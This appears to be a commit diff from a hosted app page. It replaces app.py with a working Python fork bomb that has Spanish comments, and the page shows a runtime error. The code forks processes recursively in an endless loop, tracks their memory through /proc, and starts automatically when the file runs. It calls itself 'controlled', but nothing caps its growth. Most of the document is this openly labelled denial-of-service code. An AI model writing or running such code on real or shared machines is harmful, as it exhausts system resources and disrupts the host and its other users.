Spaces:
Runtime error
Runtime error
Update app.py
Browse files
app.py
CHANGED
@@ -1,3 +1,51 @@
|
|
1 |
-
import
|
|
|
2 |
|
3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import time
|
3 |
|
4 |
+
def get_system_memory():
|
5 |
+
with open('/proc/meminfo', 'r') as mem:
|
6 |
+
for line in mem:
|
7 |
+
if line.startswith('MemTotal:'):
|
8 |
+
return int(line.split()[1])
|
9 |
+
return 0
|
10 |
+
|
11 |
+
def get_process_memory(pid):
|
12 |
+
try:
|
13 |
+
with open(f'/proc/{pid}/status', 'r') as status:
|
14 |
+
for line in status:
|
15 |
+
if line.startswith('VmRSS:'):
|
16 |
+
return int(line.split()[1])
|
17 |
+
except FileNotFoundError:
|
18 |
+
return 0
|
19 |
+
|
20 |
+
def print_usage(fork_count, total_memory):
|
21 |
+
system_memory = get_system_memory()
|
22 |
+
memory_percent = (total_memory / system_memory) * 100 if system_memory else 0
|
23 |
+
print(f"\rForks: {fork_count} | Memoria Total: {total_memory/1024:.1f} MB | {memory_percent:.1f}% del sistema", end="", flush=True)
|
24 |
+
|
25 |
+
def fork_bomb():
|
26 |
+
fork_count = 0
|
27 |
+
total_memory = 0
|
28 |
+
pids = set()
|
29 |
+
|
30 |
+
try:
|
31 |
+
while True:
|
32 |
+
pid = os.fork()
|
33 |
+
if pid == 0: # Proceso hijo
|
34 |
+
# El proceso hijo también ejecuta la función
|
35 |
+
fork_bomb()
|
36 |
+
else: # Proceso padre
|
37 |
+
fork_count += 1
|
38 |
+
pids.add(pid)
|
39 |
+
# Calcular el uso total de memoria
|
40 |
+
total_memory = sum(get_process_memory(pid) for pid in pids)
|
41 |
+
|
42 |
+
print_usage(fork_count, total_memory)
|
43 |
+
time.sleep(0.1) # Pequeña pausa para no saturar la CPU instantáneamente
|
44 |
+
except Exception as e:
|
45 |
+
print(f"\nError: {e}")
|
46 |
+
except KeyboardInterrupt:
|
47 |
+
print("\nPrograma interrumpido por el usuario.")
|
48 |
+
|
49 |
+
if __name__ == "__main__":
|
50 |
+
print("Iniciando fork bomb controlado. Presiona Ctrl+C para detener.")
|
51 |
+
fork_bomb()
|